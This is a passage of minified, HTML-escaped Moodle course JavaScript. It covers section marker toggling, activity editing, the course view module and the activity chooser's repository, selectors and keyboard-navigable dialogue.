a[data-action=removemarker]&quot;);oldmarker.removeClass(&quot;current&quot;),replaceActionItem(oldActionItem,&quot;i/marker&quot;,&quot;highlight&quot;,&quot;core&quot;,&quot;setmarker&quot;),sectionElement.addClass(&quot;current&quot;),replaceActionItem(actionItem,&quot;i/marked&quot;,&quot;highlightoff&quot;,&quot;core&quot;,&quot;removemarker&quot;),courseeditor.dispatch(&quot;legacySectionAction&quot;,action,sectionid),setSectionBadge(sectionElement[0],&quot;iscurrent&quot;,!0)}else&quot;removemarker&quot;===action&amp;&amp;(sectionElement.removeClass(&quot;current&quot;),replaceActionItem(actionItem,&quot;i/marker&quot;,&quot;highlight&quot;,&quot;core&quot;,&quot;setmarker&quot;),courseeditor.dispatch(&quot;legacySectionAction&quot;,action,sectionid),setSectionBadge(sectionElement[0],&quot;iscurrent&quot;,!1))};var replaceActivityHtmlWith=function(activityHTML){$(&quot;&lt;div&gt;&quot;+activityHTML+&quot;&lt;/div&gt;&quot;).find(SELECTOR.ACTIVITYLI).each((function(){var id=$(this).attr(&quot;id&quot;);let focusedPath=function(id){const element=document.getElementById(id);if(element&amp;&amp;element.contains(document.activeElement))return element.querySelector(SELECTOR.ACTIONAREA).contains(document.activeElement)?&quot;&quot;.concat(SELECTOR.ACTIONAREA,&#039; [tabindex=&quot;0&quot;]&#039;):document.activeElement.id?&quot;#&quot;.concat(document.activeElement.id):void 0}(id);if($(SELECTOR.ACTIVITYLI+&quot;#&quot;+id).replaceWith(activityHTML),initActionMenu(id),focusedPath){var _newItem$querySelecto;null===(_newItem$querySelecto=document.getElementById(id).querySelector(focusedPath))||void 0===_newItem$querySelecto||_newItem$querySelecto.focus()}}))},editSection=function(sectionElement,sectionid,target,courseformat){var action=target.attr(&quot;data-action&quot;),sectionreturn=target.attr(&quot;data-sectionreturn&quot;)?target.attr(&quot;data-sectionreturn&quot;):0;if(courseeditor.supportComponents&amp;&amp;componentActions.includes(action))return!1;var spinner=addSectionSpinner(sectionElement),promises=ajax.call([{methodname:&quot;core_course_edit_section&quot;,args:{id:sectionid,action:action,sectionreturn:sectionreturn}}],!0),lightbox=addSectionLightbox(sectionElement);return $.when.apply($,promises).done((function(dataencoded){var data=$.parseJSON(dataencoded);removeSpinner(sectionElement,spinner),removeLightbox(lightbox),sectionElement.find(SELECTOR.SECTIONACTIONMENU).find(SELECTOR.TOGGLE).focus();var e=$.Event(&quot;coursesectionedited&quot;,{ajaxreturn:data,action:action});sectionElement.trigger(e),e.isDefaultPrevented()||defaultEditSectionHandler(sectionElement,target,data,courseformat,sectionid)})).fail((function(ex){removeSpinner(sectionElement,spinner),removeLightbox(lightbox);var e=$.Event(&quot;coursesectioneditfailed&quot;,{exception:ex,action:action});sectionElement.trigger(e),e.isDefaultPrevented()||notification.exception(ex)})),!0},setSectionBadge=function(sectionElement,badgetype,add){const sectionbadges=sectionElement.querySelector(SELECTOR.SECTIONBADGES);if(!sectionbadges)return;const badge=sectionbadges.querySelector(&#039;[data-type=&quot;&#039;+badgetype+&#039;&quot;]&#039;);badge&amp;&amp;(add?(document.querySelectorAll(&#039;[data-type=&quot;&#039;+badgetype+&#039;&quot;]&#039;).forEach((b=&gt;{b.classList.add(&quot;d-none&quot;)})),badge.classList.remove(&quot;d-none&quot;)):badge.classList.add(&quot;d-none&quot;))};return Y.use(&quot;moodle-course-coursebase&quot;,(function(){M.course.coursebase.register_module({set_visibility_resource_ui:function(args){var mainelement=$(args.element.getDOMNode()),cmid=getModuleId(mainelement);if(cmid){var sectionreturn=mainelement.find(&quot;.&quot;+CSS_EDITINGMOVE).attr(&quot;data-sectionreturn&quot;);refreshModule(mainelement,cmid,sectionreturn)}},updateMovedCmState:params=&gt;{const cm=courseeditor.state.cm.get(params.cmid);void 0!==cm&amp;&amp;courseeditor.dispatch(&quot;sectionState&quot;,[cm.sectionid]),courseeditor.dispatch(&quot;cmState&quot;,[params.cmid])},updateMovedSectionState:()=&gt;{courseeditor.dispatch(&quot;courseState&quot;)}})})),courseeditor.addMutations({legacyActivityAction:function(statemanager,action,cmid,affectedids){const state=statemanager.state,cm=state.cm.get(cmid);if(void 0===cm)return;const section=state.section.get(cm.sectionid);if(void 0!==section){switch(courseeditor.dispatch(&quot;cmLock&quot;,[cm.id],!0),statemanager.setReadOnly(!1),cm.locked=!1,action){case&quot;delete&quot;:section.cmlist=section.cmlist.reduce(((cmlist,current)=&gt;(current!=cmid&amp;&amp;cmlist.push(current),cmlist)),[]),state.cm.delete(cmid);break;case&quot;hide&quot;:case&quot;show&quot;:case&quot;duplicate&quot;:courseeditor.dispatch(&quot;cmState&quot;,affectedids)}statemanager.setReadOnly(!0)}},legacySectionAction:function(statemanager,action,sectionid){const state=statemanager.state,section=state.section.get(sectionid);if(void 0!==section){switch(statemanager.setReadOnly(!1),section.locked=!0,statemanager.setReadOnly(!0),statemanager.setReadOnly(!1),section.locked=!1,action){case&quot;setmarker&quot;:state.section.forEach((current=&gt;{current.id!=sectionid&amp;&amp;(current.current=!1)})),section.current=!0;break;case&quot;removemarker&quot;:section.current=!1}statemanager.setReadOnly(!0)}}}),{initCoursePage:function(courseformat){formatname=courseformat,$(&quot;body&quot;).on(&quot;click keypress&quot;,SELECTOR.ACTIVITYLI+&quot; &quot;+SELECTOR.ACTIVITYACTION+&quot;[data-action]&quot;,(function(e){if(&quot;keypress&quot;!==e.type||13===e.keyCode){var actionItem=$(this),moduleElement=actionItem.closest(SELECTOR.ACTIVITYLI),action=actionItem.attr(&quot;data-action&quot;),moduleId=getModuleId(moduleElement);switch(action){case&quot;moveleft&quot;:case&quot;moveright&quot;:case&quot;delete&quot;:case&quot;duplicate&quot;:case&quot;hide&quot;:case&quot;stealth&quot;:case&quot;show&quot;:case&quot;groupsseparate&quot;:case&quot;groupsvisible&quot;:case&quot;groupsnone&quot;:break;default:return}moduleId&amp;&amp;(e.preventDefault(),&quot;delete&quot;===action?confirmDeleteModule(moduleElement,(function(){editModule(moduleElement,moduleId,actionItem)})):editModule(moduleElement,moduleId,actionItem))}})),$(&quot;body&quot;).on(&quot;click keypress&quot;,SELECTOR.SECTIONLI+&quot; &quot;+SELECTOR.SECTIONACTIONMENU+&quot;[data-sectionid] a[data-action]&quot;,(function(e){if(&quot;keypress&quot;===e.type&amp;&amp;13!==e.keyCode)return;var actionItem=$(this),sectionElement=actionItem.closest(SELECTOR.SECTIONLI),sectionId=actionItem.closest(SELECTOR.SECTIONACTIONMENU).attr(&quot;data-sectionid&quot;);let isExecuted=!0;var message,onconfirm;actionItem.attr(&quot;data-confirm&quot;)?(message=actionItem.attr(&quot;data-confirm&quot;),onconfirm=function(){isExecuted=editSection(sectionElement,sectionId,actionItem,courseformat)},str.get_strings([{key:&quot;confirm&quot;},{key:&quot;yes&quot;},{key:&quot;no&quot;}]).done((function(s){notification.confirm(s[0],message,s[1],s[2],onconfirm)}))):isExecuted=editSection(sectionElement,sectionId,actionItem,courseformat),isExecuted&amp;&amp;e.preventDefault()})),$(&quot;body&quot;).on(&quot;updated&quot;,&quot;&quot;.concat(SELECTOR.SECTIONLI,&quot; [data-inplaceeditable]&quot;),(function(e){if(e.ajaxreturn&amp;&amp;e.ajaxreturn.itemid){void 0!==courseeditor.state.section.get(e.ajaxreturn.itemid)&amp;&amp;courseeditor.dispatch(&quot;sectionState&quot;,[e.ajaxreturn.itemid])}})),$(&quot;body&quot;).on(&quot;updated&quot;,&quot;&quot;.concat(SELECTOR.ACTIVITYLI,&quot; [data-inplaceeditable]&quot;),(function(e){e.ajaxreturn&amp;&amp;e.ajaxreturn.itemid&amp;&amp;courseeditor.dispatch(&quot;cmState&quot;,[e.ajaxreturn.itemid])})),courseeditor.supportComponents&amp;&amp;componentActions.includes(&quot;addSection&quot;)||str.get_string(&quot;numberweeks&quot;).done((function(strNumberSections){var trigger=$(SELECTOR.ADDSECTIONS),modalTitle=trigger.attr(&quot;data-add-sections&quot;),newSections=trigger.attr(&quot;data-new-sections&quot;),modalBody=$(&#039;&lt;div&gt;&lt;label for=&quot;add_section_numsections&quot;&gt;&lt;/label&gt; &lt;input id=&quot;add_section_numsections&quot; type=&quot;number&quot; min=&quot;1&quot; max=&quot;&#039;+newSections+&#039;&quot; value=&quot;1&quot;&gt;&lt;/div&gt;&#039;);modalBody.find(&quot;label&quot;).html(strNumberSections),ModalFactory.create({title:modalTitle,type:ModalFactory.types.SAVE_CANCEL,body:modalBody.html()},trigger).done((function(modal){var numSections=$(modal.getBody()).find(&quot;#add_section_numsections&quot;),addSections=function(){&quot;&quot;+parseInt(numSections.val())===numSections.val()&amp;&amp;parseInt(numSections.val())&gt;=1&amp;&amp;(document.location=trigger.attr(&quot;href&quot;)+&quot;&amp;numsections=&quot;+parseInt(numSections.val()))};modal.setSaveButtonText(modalTitle),modal.getRoot().on(ModalEvents.shown,(function(){numSections.focus().select().on(&quot;keydown&quot;,(function(e){e.keyCode===KeyCodes.enter&amp;&amp;addSections()}))})),modal.getRoot().on(ModalEvents.save,(function(e){e.preventDefault(),addSections()}))}))}))},replaceSectionActionItem:function(sectionelement,selector,image,stringname,stringcomponent,newaction){log.debug(&quot;replaceSectionActionItem() is deprecated and will be removed.&quot;);var actionitem=sectionelement.find(SELECTOR.SECTIONACTIONMENU+&quot; &quot;+selector);replaceActionItem(actionitem,image,stringname,stringcomponent,newaction)},refreshModule:refreshModule,refreshSection:function(element,sectionid,sectionreturn){void 0===sectionreturn&amp;&amp;(sectionreturn=courseeditor.sectionReturn);const sectionElement=$(element),promises=ajax.call([{methodname:&quot;core_course_edit_section&quot;,args:{id:sectionid,action:&quot;refresh&quot;,sectionreturn:sectionreturn}}],!0);var spinner=addSectionSpinner(sectionElement);return new Promise(((resolve,reject)=&gt;{$.when.apply($,promises).done((dataencoded=&gt;{removeSpinner(sectionElement,spinner);const data=$.parseJSON(dataencoded),newSectionElement=$(data.content);sectionElement.replaceWith(newSectionElement),$(&quot;&quot;.concat(SELECTOR.SECTIONLI,&quot;#&quot;).concat(sectionid,&quot; &quot;).concat(SELECTOR.ACTIVITYLI)).each(((index,activity)=&gt;{initActionMenu(activity.data(&quot;id&quot;))}));dispatchEvent(CourseEvents.sectionRefreshed,{ajaxreturn:data,action:&quot;refresh&quot;,newSectionElement:newSectionElement.get(0)},newSectionElement).defaultPrevented||defaultEditSectionHandler(newSectionElement,$(SELECTOR.SECTIONLI+&quot;#&quot;+sectionid),data,formatname,sectionid),resolve(data)})).fail((ex=&gt;{dispatchEvent(&quot;coursesectionrefreshfailed&quot;,{exception:ex,action:&quot;refresh&quot;},sectionElement).defaultPrevented||notification.exception(ex),reject()}))}))}}}));
define(&quot;core_course/view&quot;,[&quot;exports&quot;,&quot;core_course/events&quot;],(function(_exports,CourseEvents){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,CourseEvents=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}
/**
   * JS module for the course homepage.
   *
   * @module      core_course/view
   * @copyright   2021 Jun Pataleta &lt;jun@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */(CourseEvents);let registered=!1;_exports.init=()=&gt;{registered||(document.addEventListener(CourseEvents.manualCompletionToggled,(e=&gt;{parseInt(e.detail.withAvailability)&amp;&amp;window.location.reload()})),registered=!0)}}));
define(&quot;core_course/local/activitychooser/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   *
   * @module     core_course/repository
   * @copyright  2019 Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.unfavouriteModule=_exports.fetchFooterData=_exports.favouriteModule=_exports.activityModules=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.activityModules=courseid=&gt;{const request={methodname:&quot;core_course_get_course_content_items&quot;,args:{courseid:courseid}};return _ajax.default.call([request])[0]};_exports.favouriteModule=(modName,modID)=&gt;{const request={methodname:&quot;core_course_add_content_item_to_user_favourites&quot;,args:{componentname:modName,contentitemid:modID}};return _ajax.default.call([request])[0]};_exports.unfavouriteModule=(modName,modID)=&gt;{const request={methodname:&quot;core_course_remove_content_item_from_user_favourites&quot;,args:{componentname:modName,contentitemid:modID}};return _ajax.default.call([request])[0]};_exports.fetchFooterData=(courseid,sectionid)=&gt;{const request={methodname:&quot;core_course_get_activity_chooser_footer&quot;,args:{courseid:courseid,sectionid:sectionid}};return _ajax.default.call([request])[0]}}));
define(&quot;core_course/local/activitychooser/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Define all of the selectors we will be using on the grading interface.
   *
   * @module     core_course/local/chooser/selectors
   * @copyright  2019 Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const getDataSelector=(name,value)=&gt;&quot;[data-&quot;.concat(name,&#039;=&quot;&#039;).concat(value,&#039;&quot;]&#039;);var _default={regions:{chooser:getDataSelector(&quot;region&quot;,&quot;chooser-container&quot;),getSectionChooserOptions:containerid=&gt;&quot;&quot;.concat(containerid,&quot; &quot;).concat(getDataSelector(&quot;region&quot;,&quot;chooser-options-container&quot;)),chooserOption:{container:getDataSelector(&quot;region&quot;,&quot;chooser-option-container&quot;),actions:getDataSelector(&quot;region&quot;,&quot;chooser-option-actions-container&quot;),info:getDataSelector(&quot;region&quot;,&quot;chooser-option-info-container&quot;)},chooserSummary:{container:getDataSelector(&quot;region&quot;,&quot;chooser-option-summary-container&quot;),content:getDataSelector(&quot;region&quot;,&quot;chooser-option-summary-content-container&quot;),header:getDataSelector(&quot;region&quot;,&quot;summary-header&quot;),actions:getDataSelector(&quot;region&quot;,&quot;chooser-option-summary-actions-container&quot;)},carousel:getDataSelector(&quot;region&quot;,&quot;carousel&quot;),help:getDataSelector(&quot;region&quot;,&quot;help&quot;),modules:getDataSelector(&quot;region&quot;,&quot;modules&quot;),favouriteTabNav:getDataSelector(&quot;region&quot;,&quot;favourite-tab-nav&quot;),defaultTabNav:getDataSelector(&quot;region&quot;,&quot;default-tab-nav&quot;),activityTabNav:getDataSelector(&quot;region&quot;,&quot;activity-tab-nav&quot;),favouriteTab:getDataSelector(&quot;region&quot;,&quot;favourites&quot;),recommendedTab:getDataSelector(&quot;region&quot;,&quot;recommended&quot;),defaultTab:getDataSelector(&quot;region&quot;,&quot;default&quot;),activityTab:getDataSelector(&quot;region&quot;,&quot;activity&quot;),resourceTab:getDataSelector(&quot;region&quot;,&quot;resources&quot;),getModuleSelector:modname=&gt;&#039;[role=&quot;menuitem&quot;][data-modname=&quot;&#039;.concat(modname,&#039;&quot;]&#039;),searchResults:getDataSelector(&quot;region&quot;,&quot;search-results-container&quot;),searchResultItems:getDataSelector(&quot;region&quot;,&quot;search-result-items-container&quot;)},actions:{optionActions:{showSummary:getDataSelector(&quot;action&quot;,&quot;show-option-summary&quot;),manageFavourite:getDataSelector(&quot;action&quot;,&quot;manage-module-favourite&quot;)},addChooser:getDataSelector(&quot;action&quot;,&quot;add-chooser-option&quot;),closeOption:getDataSelector(&quot;action&quot;,&quot;close-chooser-option-summary&quot;),hide:getDataSelector(&quot;action&quot;,&quot;hide&quot;),search:getDataSelector(&quot;action&quot;,&quot;search&quot;),clearSearch:getDataSelector(&quot;action&quot;,&quot;clearsearch&quot;)},render:{favourites:getDataSelector(&quot;render&quot;,&quot;favourites-area&quot;)},elements:{section:&quot;.section&quot;,sectionmodchooser:&quot;button.section-modchooser-link&quot;,sitemenu:&quot;.block_site_main_menu&quot;,sitetopic:&quot;div.sitetopic&quot;,tab:&#039;a[data-toggle=&quot;tab&quot;]&#039;,activetab:&#039;a[data-toggle=&quot;tab&quot;][aria-selected=&quot;true&quot;]&#039;,visibletabs:&#039;a[data-toggle=&quot;tab&quot;]:not(.d-none)&#039;}};return _exports.default=_default,_exports.default}));
define(&quot;core_course/local/activitychooser/dialogue&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/modal_events&quot;,&quot;core_course/local/activitychooser/selectors&quot;,&quot;core/templates&quot;,&quot;core/key_codes&quot;,&quot;core/loadingicon&quot;,&quot;core_course/local/activitychooser/repository&quot;,&quot;core/notification&quot;,&quot;core/utils&quot;],(function(_exports,_jquery,ModalEvents,_selectors,Templates,_key_codes,_loadingicon,Repository,_notification,_utils){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.displayChooser=void 0,_jquery=_interopRequireDefault(_jquery),ModalEvents=_interopRequireWildcard(ModalEvents),_selectors=_interopRequireDefault(_selectors),Templates=_interopRequireWildcard(Templates),Repository=_interopRequireWildcard(Repository),_notification=_interopRequireDefault(_notification);var _systemImportTransformerGlobalIdentifier=&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof global?global:{};function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}const showModuleHelp=function(carousel,moduleData){let modal=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:null;null!==modal&amp;&amp;!0===moduleData.showFooter&amp;&amp;modal.setFooter(Templates.render(&quot;core_course/local/activitychooser/footer_partial&quot;,moduleData));const help=carousel.find(_selectors.default.regions.help)[0];help.innerHTML=&quot;&quot;,help.classList.add(&quot;m-auto&quot;);const spinnerPromise=(0,_loadingicon.addIconToContainer)(help);let transitionPromiseResolver=null;const transitionPromise=new Promise((resolve=&gt;{transitionPromiseResolver=resolve})),contentPromise=Templates.renderForPromise(&quot;core_course/local/activitychooser/help&quot;,moduleData);Promise.all([contentPromise,spinnerPromise,transitionPromise]).then((_ref=&gt;{let[{html:html,js:js}]=_ref;return Templates.replaceNodeContents(help,html,js)})).then((()=&gt;(help.querySelector(_selectors.default.regions.chooserSummary.header).focus(),help))).catch(_notification.default.exception),carousel.one(&quot;slid.bs.carousel&quot;,(()=&gt;{transitionPromiseResolver()})),carousel.carousel(&quot;next&quot;)},registerListenerEvents=(modal,mappedModules,partialFavourite,footerData)=&gt;{const bodyClickListener=async e=&gt;{if(e.target.closest(_selectors.default.actions.optionActions.showSummary)){const carousel=(0,_jquery.default)(modal.getBody()[0].querySelector(_selectors.default.regions.carousel)),moduleName=e.target.closest(_selectors.default.regions.chooserOption.container).dataset.modname,moduleData=mappedModules.get(moduleName);moduleData.showFooter=modal.hasFooterContent(),showModuleHelp(carousel,moduleData,modal)}if(e.target.closest(_selectors.default.actions.optionActions.manageFavourite)){const caller=e.target.closest(_selectors.default.actions.optionActions.manageFavourite);await(async(modalBody,caller,partialFavourite)=&gt;{const isFavourite=caller.dataset.favourited,id=caller.dataset.id,name=caller.dataset.name,internal=caller.dataset.internal;&quot;true&quot;===isFavourite?(await Repository.unfavouriteModule(name,id),partialFavourite(internal,!1,modalBody)):(await Repository.favouriteModule(name,id),partialFavourite(internal,!0,modalBody))})(modal.getBody()[0],caller,partialFavourite);const activeSectionId=modal.getBody()[0].querySelector(_selectors.default.elements.activetab).getAttribute(&quot;href&quot;),sectionChooserOptions=modal.getBody()[0].querySelector(_selectors.default.regions.getSectionChooserOptions(activeSectionId)),firstChooserOption=sectionChooserOptions.querySelector(_selectors.default.regions.chooserOption.container);toggleFocusableChooserOption(firstChooserOption,!0),initChooserOptionsKeyboardNavigation(modal.getBody()[0],mappedModules,sectionChooserOptions,modal)}if(e.target.matches(_selectors.default.actions.closeOption)){const carousel=(0,_jquery.default)(modal.getBody()[0].querySelector(_selectors.default.regions.carousel));carousel.carousel(&quot;prev&quot;),carousel.on(&quot;slid.bs.carousel&quot;,(()=&gt;{modal.getBody()[0].querySelector(_selectors.default.regions.modules).querySelector(_selectors.default.regions.getModuleSelector(e.target.dataset.modname)).focus()}))}if(e.target.closest(_selectors.default.actions.clearSearch)){const searchInput=modal.getBody()[0].querySelector(_selectors.default.actions.search);searchInput.value=&quot;&quot;,searchInput.focus(),toggleSearchResultsView(modal,mappedModules,searchInput.value)}},footerClickListener=async e=&gt;{if(!0===footerData.footer){const footerjs=await(pluginName=footerData.customfooterjs,&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([pluginName],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(pluginName)):Promise.resolve(_systemImportTransformerGlobalIdentifier[pluginName]));await footerjs.footerClickListener(e,footerData,modal)}var pluginName};modal.getBodyPromise().then((body=&gt;body[0])).then((body=&gt;((0,_jquery.default)(body.querySelector(_selectors.default.regions.carousel)).carousel({interval:!1,pause:!0,keyboard:!1}),body))).then((body=&gt;(body.addEventListener(&quot;click&quot;,bodyClickListener),body))).then((body=&gt;{const searchInput=body.querySelector(_selectors.default.actions.search);return searchInput.addEventListener(&quot;input&quot;,(0,_utils.debounce)((()=&gt;{toggleSearchResultsView(modal,mappedModules,searchInput.value)}),300)),body})).then((body=&gt;{const activeSectionId=body.querySelector(_selectors.default.elements.activetab).getAttribute(&quot;href&quot;),sectionChooserOptions=body.querySelector(_selectors.default.regions.getSectionChooserOptions(activeSectionId)),firstChooserOption=sectionChooserOptions.querySelector(_selectors.default.regions.chooserOption.container);return toggleFocusableChooserOption(firstChooserOption,!0),initChooserOptionsKeyboardNavigation(body,mappedModules,sectionChooserOptions,modal),body})).catch(),modal.getFooterPromise().then((footer=&gt;footer[0])).then((footer=&gt;(footer.addEventListener(&quot;click&quot;,footerClickListener),footer))).catch()},initChooserOptionsKeyboardNavigation=function(body,mappedModules,chooserOptionsContainer){let modal=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:null;const chooserOptions=chooserOptionsContainer.querySelectorAll(_selectors.default.regions.chooserOption.container);Array.from(chooserOptions).forEach((element=&gt;element.addEventListener(&quot;keydown&quot;,(e=&gt;{if((e.keyCode===_key_codes.enter||e.keyCode===_key_codes.space)&amp;&amp;e.target.matches(_selectors.default.actions.optionActions.showSummary)){e.preventDefault();const moduleName=e.target.closest(_selectors.default.regions.chooserOption.container).dataset.modname,moduleData=mappedModules.get(moduleName),carousel=(0,_jquery.default)(body.querySelector(_selectors.default.regions.carousel));carousel.carousel({interval:!1,pause:!0,keyboard:!1}),moduleData.showFooter=modal.hasFooterContent(),showModuleHelp(carousel,moduleData,modal)}if(e.keyCode===_key_codes.arrowRight){e.preventDefault();const currentOption=e.target.closest(_selectors.default.regions.chooserOption.container),nextOption=currentOption.nextElementSibling,firstOption=chooserOptionsContainer.firstElementChild,toFocusOption=clickErrorHandler(nextOption,firstOption);focusChooserOption(toFocusOption,currentOption)}if(e.keyCode===_key_codes.arrowLeft){e.preventDefault();const currentOption=e.target.closest(_selectors.default.regions.chooserOption.container),previousOption=currentOption.previousElementSibling,lastOption=chooserOptionsContainer.lastElementChild,toFocusOption=clickErrorHandler(previousOption,lastOption);focusChooserOption(toFocusOption,currentOption)}if(e.keyCode===_key_codes.home){e.preventDefault();const currentOption=e.target.closest(_selectors.default.regions.chooserOption.container),firstOption=chooserOptionsContainer.firstElementChild;focusChooserOption(firstOption,currentOption)}if(e.keyCode===_key_codes.end){e.preventDefault();const currentOption=e.target.closest(_selectors.default.regions.chooserOption.container),lastOption=chooserOptionsContainer.lastElementChild;focusChooserOption(lastOption,currentOption)}}))))},focusChooserOption=function(currentChooserOption){let previousChooserOption=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:null;null!==previousChooserOption&amp;&amp;toggleFocusableChooserOption(previousChooserOption,!1),toggleFocusableChooserOption(currentChooserOption,!0),currentChooserOption.focus()},toggleFocusableChooserOption=(chooserOption,isFocusable)=&gt;{const chooserOptionLink=chooserOption.querySelector(_selectors.default.actions.addChooser),chooserOptionHelp=chooserOption.querySelector(_selectors.default.actions.optionActions.showSummary),chooserOptionFavourite=chooserOption.querySelector(_selectors.default.actions.optionActions.manageFavourite);isFocusable?(chooserOption.tabIndex=0,chooserOptionLink.tabIndex=0,chooserOptionHelp.tabIndex=0,chooserOptionFavourite.tabIndex=0):(chooserOption.tabIndex=-1,chooserOptionLink.tabIndex=-1,chooserOptionHelp.tabIndex=-1,chooserOptionFavourite.tabIndex=-1)},clickErrorHandler=(item,fallback)=&gt;null!==item?item:fallback,toggleSearchResultsView=async(modal,mappedModules,searchQuery)=&gt;{const modalBody=modal.getBody()[0],searchResultsContainer=modalBody.querySelector(_selectors.default.regions.searchResults),chooserContainer=modalBody.querySelector(_selectors.default.regions.chooser),clearSearchButton=modalBody.querySelector(_selectors.default.actions.clearSearch);if(searchQuery.length&gt;0){const searchResultsData=searchModules(mappedModules,searchQuery);await(async(searchResultsContainer,searchResultsData)=&gt;{const templateData={searchresultsnumber:searchResultsData.length,searchresults:searchResultsData},{html:html,js:js}=await Templates.renderForPromise(&quot;core_course/local/activitychooser/search_results&quot;,templateData);await Templates.replaceNodeContents(searchResultsContainer,html,js)})(searchResultsContainer,searchResultsData);const searchResultItemsContainer=searchResultsContainer.querySelector(_selectors.default.regions.searchResultItems),firstSearchResultItem=searchResultItemsContainer.querySelector(_selectors.default.regions.chooserOption.container);firstSearchResultItem&amp;&amp;(toggleFocusableChooserOption(firstSearchResultItem,!0),initChooserOptionsKeyboardNavigation(modalBody,mappedModules,searchResultItemsContainer,modal)),clearSearchButton.classList.remove(&quot;d-none&quot;),chooserContainer.setAttribute(&quot;hidden&quot;,&quot;hidden&quot;),searchResultsContainer.removeAttribute(&quot;hidden&quot;)}else clearSearchButton.classList.add(&quot;d-none&quot;),searchResultsContainer.setAttribute(&quot;hidden&quot;,&quot;hidden&quot;),chooserContainer.removeAttribute(&quot;hidden&quot;)},searchModules=(modules,searchTerm)=&gt;{if(&quot;&quot;===searchTerm)return modules;searchTerm=searchTerm.toLowerCase();const searchResults=[];return modules.forEach((activity=&gt;{const activityName=activity.title.toLowerCase(),activityDesc=activity.help.toLowerCase();(activityName.includes(searchTerm)||activityDesc.includes(searchTerm))&amp;&amp;searchResults.push(activity)})),searchResults},disableFocusAllChooserOptions=sectionChooserOptions=&gt;{sectionChooserOptions.querySelectorAll(_selectors.default.regions.chooserOption.container).forEach((chooserOption=&gt;{toggleFocusableChooserOption(chooserOption,!1)}))};_exports.displayChooser=(modalPromise,sectionModules,partialFavourite,footerData)=&gt;{const mappedModules=new Map;sectionModules.forEach((module=&gt;{mappedModules.set(module.componentname+&quot;_&quot;+module.link,module)})),modalPromise.then((modal=&gt;(registerListenerEvents(modal,mappedModules,partialFavourite,footerData),((modal,mappedModules)=&gt;{modal.getModal()[0].tabIndex=-1,modal.getBodyPromise().then((body=&gt;{(0,_jquery.default)(_selectors.default.elements.tab).on(&quot;shown.bs.tab&quot;,(e=&gt;{const 